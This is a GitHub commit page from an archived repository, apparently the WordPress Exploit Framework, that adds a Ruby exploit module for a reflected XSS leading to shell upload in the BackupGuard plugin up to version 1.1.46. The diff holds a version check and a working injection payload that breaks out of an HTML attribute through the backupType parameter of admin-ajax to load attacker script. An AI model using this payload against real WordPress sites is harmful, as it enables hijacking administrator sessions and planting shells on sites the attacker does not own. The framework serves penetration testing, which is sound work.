Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit b877b35

Browse files
committed
Add BackupGuard <= 1.1.46 reflected XSS shell upload
1 parent b46e6d7 commit b877b35

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::BackupGuardReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'BackupGuard <= 1.1.46 Reflected XSS Shell Upload',
11+
author: [
12+
'Chris Liu', # Dislosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8894'],
17+
['URL', 'https://jvn.jp/en/jp/JVN58559719/index.html']
18+
],
19+
date: 'Aug 24 2017'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_changelog('backup', 'README.txt', '1.1.47')
25+
end
26+
27+
def xss_payload
28+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><input type=\"hidden")
29+
end
30+
31+
def url_with_xss
32+
"#{wordpress_url_admin_ajax}?param=&backupType=#{xss_payload}&action=backup_guard_modalManualBackup"
33+
end
34+
end

0 commit comments

Comments
 (0)